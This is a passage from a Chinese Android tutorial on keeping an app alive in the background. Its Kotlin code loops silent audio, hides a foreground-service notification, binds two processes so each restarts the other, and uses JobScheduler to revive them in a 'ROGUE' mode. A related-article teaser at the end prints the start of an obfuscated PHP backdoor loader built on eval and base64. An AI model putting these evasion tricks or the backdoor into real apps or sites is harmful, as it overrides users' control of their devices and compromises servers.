Android应用保活实践

}

override fun onBind(intent: Intent): IBinder? {
return mBilder
}

override fun onStartCommand(intent: Intent, flags: Int, startId: Int): Int {
//播放无声音乐
if (mediaPlayer == null) {
mediaPlayer = MediaPlayer.create(this, R.raw.novioce)
//声音设置为0
mediaPlayer?.setVolume(0f, 0f)
mediaPlayer?.isLooping = true//循环播放
play()
}
//启用前台服务,提升优先级
if (KeepLive.foregroundNotification != null) {
val intent2 = Intent(applicationContext, NotificationClickReceiver::class.java)
intent2.action = NotificationClickReceiver.CLICK_NOTIFICATION
val notification = NotificationUtils.createNotification(this, KeepLive.foregroundNotification!!.getTitle(), KeepLive.foregroundNotification!!.getDescription(), KeepLive.foregroundNotification!!.getIconRes(), intent2)
startForeground(13691, notification)
}
//绑定守护进程
try {
val intent3 = Intent(this, RemoteService::class.java)
this.bindService(intent3, connection, Context.BIND_ABOVE_CLIENT)
} catch (e: Exception) {
}

//隐藏服务通知
try {
if (Build.VERSION.SDK_INT < 25) {
startService(Intent(this, HideForegroundService::class.java))
}
} catch (e: Exception) {
}

if (KeepLive.keepLiveService != null) {
KeepLive.keepLiveService!!.onWorking()
}
return Service.START_STICKY
}

private fun play() {
if (mediaPlayer != null && !mediaPlayer!!.isPlaying) {
mediaPlayer?.start()
}
}

private inner class MyBilder : GuardAidl.Stub() {

@Throws(RemoteException::class)
override fun wakeUp(title: String, discription: String, iconRes: Int) {

}
}

private val connection = object : ServiceConnection {

override fun onServiceDisconnected(name: ComponentName) {
val remoteService = Intent(this@LocalService,
RemoteService::class.java)
this@LocalService.startService(remoteService)
val intent = Intent(this@LocalService, RemoteService::class.java)
this@LocalService.bindService(intent, this,
Context.BIND_ABOVE_CLIENT)
}

override fun onServiceConnected(name: ComponentName, service: IBinder) {
try {
if (mBilder != null && KeepLive.foregroundNotification != null) {
val guardAidl = GuardAidl.Stub.asInterface(service)
guardAidl.wakeUp(KeepLive.foregroundNotification?.getTitle(), KeepLive.foregroundNotification?.getDescription(), KeepLive.foregroundNotification!!.getIconRes())
}
} catch (e: RemoteException) {
e.printStackTrace()
}

}
}

override fun onDestroy() {
super.onDestroy()
unbindService(connection)
if (KeepLive.keepLiveService != null) {
KeepLive.keepLiveService?.onStop()
}
}
}

定义一个远程服务,绑定本地服务。

class RemoteService : Service() {

private var mBilder: MyBilder? = null

override fun onCreate() {
super.onCreate()
if (mBilder == null) {
mBilder = MyBilder()
}
}

override fun onBind(intent: Intent): IBinder? {
return mBilder
}

override fun onStartCommand(intent: Intent, flags: Int, startId: Int): Int {
try {
this.bindService(Intent(this@RemoteService, LocalService::class.java),
connection, Context.BIND_ABOVE_CLIENT)
} catch (e: Exception) {
}
return Service.START_STICKY
}

override fun onDestroy() {
super.onDestroy()
unbindService(connection)
}

private inner class MyBilder : GuardAidl.Stub() {
@Throws(RemoteException::class)
override fun wakeUp(title: String, discription: String, iconRes: Int) {
if (Build.VERSION.SDK_INT < 25) {
val intent = Intent(applicationContext, NotificationClickReceiver::class.java)
intent.action = NotificationClickReceiver.CLICK_NOTIFICATION
val notification = NotificationUtils.createNotification(this@RemoteService, title, discription, iconRes, intent)
this@RemoteService.startForeground(13691, notification)
}
}
}

private val connection = object : ServiceConnection {
override fun onServiceDisconnected(name: ComponentName) {
val remoteService = Intent(this@RemoteService,
LocalService::class.java)
this@RemoteService.startService(remoteService)
this@RemoteService.bindService(Intent(this@RemoteService,
LocalService::class.java), this, Context.BIND_ABOVE_CLIENT)
}

override fun onServiceConnected(name: ComponentName, service: IBinder) {}
}

}

/**

  • 通知栏点击广播接受者
    */
    class NotificationClickReceiver : BroadcastReceiver() {

companion object {
const val CLICK_NOTIFICATION = “CLICK_NOTIFICATION”
}

override fun onReceive(context: Context, intent: Intent) {
if (intent.action == NotificationClickReceiver.CLICK_NOTIFICATION) {
if (KeepLive.foregroundNotification != null) {
if (KeepLive.foregroundNotification!!.getForegroundNotificationClickListener() != null) {
KeepLive.foregroundNotification!!.getForegroundNotificationClickListener()?.foregroundNotificationClick(context, intent)
}
}
}
}
}

#####3.JobScheduler
JobScheduler和JobService是安卓在api 21中增加的接口,用于在某些指定条件下执行后台任务。

定义一个JobService,开启本地服务和远程服务

@SuppressWarnings(value = [“unchecked”, “deprecation”])
@RequiresApi(Build.VERSION_CODES.LOLLIPOP)
class JobHandlerService : JobService() {

private var mJobScheduler: JobScheduler? = null

override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
var startId = startId
startService(this)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
mJobScheduler = getSystemService(Context.JOB_SCHEDULER_SERVICE) as JobScheduler
val builder = JobInfo.Builder(startId++,
ComponentName(packageName, JobHandlerService::class.java.name))
if (Build.VERSION.SDK_INT >= 24) {
builder.setMinimumLatency(JobInfo.DEFAULT_INITIAL_BACKOFF_MILLIS) //执行的最小延迟时间
builder.setOverrideDeadline(JobInfo.DEFAULT_INITIAL_BACKOFF_MILLIS) //执行的最长延时时间
builder.setMinimumLatency(JobInfo.DEFAULT_INITIAL_BACKOFF_MILLIS)
builder.setBackoffCriteria(JobInfo.DEFAULT_INITIAL_BACKOFF_MILLIS, JobInfo.BACKOFF_POLICY_LINEAR)//线性重试方案
} else {
builder.setPeriodic(JobInfo.DEFAULT_INITIAL_BACKOFF_MILLIS)
}
builder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
builder.setRequiresCharging(true) // 当插入充电器,执行该任务
mJobScheduler?.schedule(builder.build())
}
return Service.START_STICKY
}

private fun startService(context: Context) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
if (KeepLive.foregroundNotification != null) {
val intent = Intent(applicationContext, NotificationClickReceiver::class.java)
intent.action = NotificationClickReceiver.CLICK_NOTIFICATION
val notification = NotificationUtils.createNotification(this, KeepLive.foregroundNotification!!.getTitle(), KeepLive.foregroundNotification!!.getDescription(), KeepLive.foregroundNotification!!.getIconRes(), intent)
startForeground(13691, notification)
}
}
//启动本地服务
val localIntent = Intent(context, LocalService::class.java)
//启动守护进程
val guardIntent = Intent(context, RemoteService::class.java)
startService(localIntent)
startService(guardIntent)
}

override fun onStartJob(jobParameters: JobParameters): Boolean {
if (!isServiceRunning(applicationContext, “com.xiyang51.keeplive.service.LocalService”) || !isServiceRunning(applicationContext, “$packageName:remote”)) {
startService(this)
}
return false
}

override fun onStopJob(jobParameters: JobParameters): Boolean {
if (!isServiceRunning(applicationContext, “com.xiyang51.keeplive.service.LocalService”) || !isServiceRunning(applicationContext, “$packageName:remote”)) {
startService(this)
}
return false
}

private fun isServiceRunning(ctx: Context, className: String): Boolean {
var isRunning = false
val activityManager = ctx
.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
val servicesList = activityManager
.getRunningServices(Integer.MAX_VALUE)
val l = servicesList.iterator()
while (l.hasNext()) {
val si = l.next()
if (className == si.service.className) {
isRunning = true
}
}
return isRunning
}
}

#####4.播放无声音乐
这里使用的是有声的mp3文件,只是在代码中把声音设置成了0;如果使用真正的无声的音乐文件,在oppo手机上按下返回键会被立刻杀死,并且在三星手机,华为nova2s强制杀死也会被杀死,所有使用了有声的文件。

#####5.提高Service优先级
onStartCommand()方法中开启一个通知,提高进程的优先级。注意:从Android 8.0(API级别26)开始,所有通知必须要分配一个渠道,对于每个渠道,可以单独设置视觉和听觉行为。然后用户可以在设置中修改这些设置,根据应用程序来决定哪些通知可以显示或者隐藏。

定义一个通知工具类,兼容8.0

class NotificationUtils(context: Context) : ContextWrapper(context) {

private var manager: NotificationManager? = null
private var id: String = context.packageName + “51”
private var name: String = context.packageName
private var context: Context = context
private var channel: NotificationChannel? = null

companion object {
@SuppressLint(“StaticFieldLeak”)
private var notificationUtils: NotificationUtils? = null

fun createNotification(context: Context, title: String, content: String, icon: Int, intent: Intent): Notification? {
if (notificationUtils == null) {
notificationUtils = NotificationUtils(context)
}
var notification: Notification? = null
notification = if (Build.VERSION.SDK_INT >= 26) {
notificationUtils?.createNotificationChannel()
notificationUtils?.getChannelNotification(title, content, icon, intent)?.build()
} else {
notificationUtils?.getNotification_25(title, content, icon, intent)?.build()
}
return notification
}
}

@RequiresApi(api = Build.VERSION_CODES.O)
fun createNotificationChannel() {
if (channel == null) {
channel = NotificationChannel(id, name, NotificationManager.IMPORTANCE_MIN)
channel?.enableLights(false)
channel?.enableVibration(false)
channel?.vibrationPattern = longArrayOf(0)
channel?.setSound(null, null)
getManager().createNotificationChannel(channel)
}
}

private fun getManager(): NotificationManager {
if (manager == null) {
manager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
}
return manager!!
}

@RequiresApi(api = Build.VERSION_CODES.O)
fun getChannelNotification(title: String, content: String, icon: Int, intent: Intent): Notification.Builder {
//PendingIntent.FLAG_UPDATE_CURRENT 这个类型才能传值
val pendingIntent = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT)
return Notification.Builder(context, id)
.setCon​
tentTitle(title)
.setContentText(content)
.setSmallIcon(icon)
.setAutoCancel(true)
.setContentIntent(pendingIntent)
}

fun getNotification_25(title: String, content: String, icon: Int, intent: Intent): NotificationCompat.Builder {
val pendingIntent = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT)
return NotificationCompat.Builder(context, id)
.setContentTitle(title)
.setContentText(content)
.setSmallIcon(icon)
.setAutoCancel(true)
.setVibrate(longArrayOf(0))
.setSound(null)
.setLights(0, 0, 0)
.setContentIntent(pendingIntent)
}
}

###使用
将保活的功能封装成了一个单独的库,依赖该库即可。

app中使用:

KeepLive.startWork(this, KeepLive.RunMode.ROGUE, ForegroundNotification(“Title”, “message”,
R.mipmap.ic_launcher, object : ForegroundNotificationClickListener {
override fun foregroundNotificationClick(context: Context, intent: Intent) {
//点击通知回调

}
}), object : KeepLiveService {
override fun onStop() {
//可能调用多次,跟onWorking匹配调用
}

最后

小编这些年深知大多数初中级Android工程师,想要提升自己,往往是自己摸索成长,自己不成体系的自学效果低效漫长且无助

因此我收集整理了一份《2024年Android移动开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人

都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

资料⬅专栏获取
de fun onStop() {
//可能调用多次,跟onWorking匹配调用
}

最后

小编这些年深知大多数初中级Android工程师,想要提升自己,往往是自己摸索成长,自己不成体系的自学效果低效漫长且无助

因此我收集整理了一份《2024年Android移动开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

[外链图片转存中…(img-QhxIhI6s-1719083394703)]一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人

都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

资料⬅专栏获取

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/857898.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【DevOps】Kubernetes中Pod的CPU和内存资源管理详解

目录 1. 基本概念 1.1 资源请求&#xff08;Requests&#xff09;和限制&#xff08;Limits&#xff09; 1.2 CPU资源 1.3 内存资源 1.4 QoS类 2. 设置方法 3. 资源设置的影响 3.1 CPU设置的影响 3.2 内存设置的影响 3.3 对调度的影响 3.4 对扩展的影响 4. 最佳实践…

Spring MVC拦截器、文件上传和全局异常处理

目录 1.拦截器1.1.什么是拦截器&#xff1f;1.2 拦截器的API1.3 拦截器的执行顺序1.5 自定义拦截器1.5 登录拦截器案例 2.文件上传2.1 添加依赖2.2 配置文件上传解析器2.3 编写控制器2.4 编写jsp页面2.5 注意事项 3.全局异常处理器3.1 异常处理思路3.2 创建异常处理器3.3 编写异…

FlinkCDC sink paimon 暂不支持exactly-once写入,而通过 幂等写

幂等写入&#xff1a; 一个幂等操作无论执行多少次都会返回同样的结果。例如&#xff0c;重复的向hashmap中插入同样的key-value对就是幂等操作&#xff0c;因为头一次插入操作之后所有的插入操作都不会改变这个hashmap&#xff0c;因为hashmap已经包含这个key-value对了。另一…

vuejs3用gsap实现动画

效果 gsap官网地址&#xff1a; https://gsap.com/ 安装gsap npm i gsap 创建Gsap.vue文件 <script setup> import {reactive, watch} from "vue"; import gsap from "gsap"; const props defineProps({value:{type:Number,default:0} }) cons…

FFmpeg编译4

CPUx86-64 TOOLCHAIN N D K / t o o l c h a i n s / x 8 6 6 4 − 4.9 / p r e b u i l t / l i n u x − x 8 6 6 4 S Y S R O O T NDK/toolchains/x86_64-4.9/prebuilt/linux-x86_64 SYSROOT NDK/toolchains/x866​4−4.9/prebuilt/linux−x866​4SYSROOTNDK/platforms/and…

Java | Leetcode Java题解之第174题地下城游戏

题目&#xff1a; 题解&#xff1a; class Solution {public int calculateMinimumHP(int[][] dungeon) {int n dungeon.length, m dungeon[0].length;int[][] dp new int[n 1][m 1];for (int i 0; i < n; i) {Arrays.fill(dp[i], Integer.MAX_VALUE);}dp[n][m - 1] …

QML 实现上浮后消失的提示框

基本效果&#xff1a;上浮逐渐显示&#xff0c;短暂停留后上浮逐渐消失 为了能同时显示多个提示框&#xff0c;一是需要动态创建每个弹框 Item&#xff0c;二是弹出位置问题&#xff0c;如果是底部为基准位置就把已经弹出的往上移动。 效果展示&#xff1a; 主要实现代码&…

46、基于自组织映射神经网络的鸢尾花聚类(matlab)

1、自组织映射神经网络的鸢尾花聚类的原理及流程 自组织映射神经网络&#xff08;Self-Organizing Map, SOM&#xff09;是一种用于聚类和数据可视化的人工神经网络模型。在鸢尾花聚类中&#xff0c;SOM 可以用来将鸢尾花数据集分成不同的类别&#xff0c;同时保留数据间的拓扑…

动态规划——买卖股票的最佳时机含冷冻期

1、题目链接 leetcode 309. 买卖股票的最佳时机含冷冻期 2、题目分析 该题有我们可以定义三种状态&#xff0c;买入状态&#xff0c;可交易状态 &#xff0c;冷冻期状态 我们可以建立一个n*3的二维数组来表示这三种状态&#xff1a; 根据这个图可以看出&#xff0c; 可以从…

Linux换源

文章目录 前言具体步骤国内源推荐 前言 在 Linux 发行版中更换软件源&#xff08;repository&#xff09;是一个常见的操作&#xff0c;用于加速软件的下载和更新。以下是更换软件源的详细步骤&#xff1a; 具体步骤 备份原始源列表&#xff1a; 在更改任何内容之前&#xff…

sqlalchemy给表新增注释和额外信息

sqlalchemy给表新增注释和额外信息 sqlalchemy使用__table_args__给表新增注释和额外信息,示例: class UserModel(CommonModel):__tablename__ = user # 表名称__table_args__ = {"mysql_engine": "MyISAM", # 设置数据表引擎,默认使用innodb引擎&quo…

不到3毛钱的SOT23和SOT89封装18V耐压低功耗高PSRR高精度LDO稳压芯片ME6231电流0.5A电压3.3V和1.8V

前言 SOT23-5封装ME6231外观和丝印 一款国产LDO&#xff0c;某些场合&#xff0c;要把1117扔了吧&#xff0c;SOT23封装&#xff0c;虽然不是最小&#xff0c;但也是够小的了。 参考价格&#xff1a;约0.25元 概述 ME6231 系列是以 CMOS 工艺制造的 18V 耐压、低功耗、高 PSR…

2024-06-23 操作系统实验5——模拟页式存储管理

文章目录 一、实验目的二、实验内容三、实验过程四、结果测试五、实验总结和说明 补录与分享本科实验&#xff0c;以示纪念。 一、实验目的 通过编写和调试请求页式存储管理的模拟程序以加深对请求页式存储管理方案的理解。 二、实验内容 页面淘汰算法可采用FIFO置换算法&a…

yolo评价指标

【目标检测】YOLOv5&#xff1a;添加漏检率和虚检率输出 https://www.cnblogs.com/sixuwuxian/p/18064044 【YOLOv5】推理、训练、验证参数解释_yolov5推理-CSDN博客 详解&#xff1a;yolov5中推理时置信度&#xff0c;设置的conf和iou_thres具体含义_con-thres和iou-thres分…

从理论到实践掌握UML

统一建模语言&#xff08;UML&#xff09;是软件工程师用来设计软件系统的一种工具&#xff0c;就像是一套图形化的说明书。它让开发团队能够以图形化的方式来理解、设计和开发软件系统&#xff0c;比起用文字来描述&#xff0c;更加直观易懂。本文通过UML实例化的理论和实践相…

ROS | 常见故障排查

1.开启后发出一个WIFI WIFI名字&#xff1a;WHEELTEC接数字 安全密钥&#xff1a;dongguan 2.显示屏接口 USB接口接键鼠 3.远程登录命令 ssh -Y wheeltec192.168.0.100 是小车发出的WIFI的一个IP地址 4. 登录后确保IP地址 ip a 看一下 当前ip地址 倒数第四行-当前ip地址 1…

django学习入门系列之第三点《CSS基础样式介绍3》

文章目录 浮动什么是浮动浮动的特性清除浮动 往期回顾 浮动 什么是浮动 float属性用于创建浮动框&#xff0c;将其移动到一边&#xff0c;直到左边缘或右边缘触及包含块或另一个浮动框的边缘。 浮动的特性 浮动元素会脱离标准流(脱标) 浮动的元素会一行内显示并且元素顶部对…

2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第四部分)【AI测试版】

第四部分:人类基因组的伦理、法律和社会问题(ELSI) 摘要: 本部分探讨了人类基因组计划所引发的伦理、法律和社会问题(ELSI),这些问题涉及基因信息的所有权、隐私权、基因歧视以及基因技术在社会中的运用等方面。 学习目标: 理解人类基因组计划实施过程中所引发的ELS…

探索Twig:优雅、灵活的PHP模板引擎

1. 介绍 在现代的 Web 开发中&#xff0c;模板引擎是一种常见的工具&#xff0c;用于将应用程序的逻辑和视图分离开来&#xff0c;使得开发过程更加清晰和高效。PHP Twig 是一种流行的模板引擎&#xff0c;它为 PHP 开发者提供了一个强大而灵活的工具&#xff0c;用于构建动态…

PHP木马原文

攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…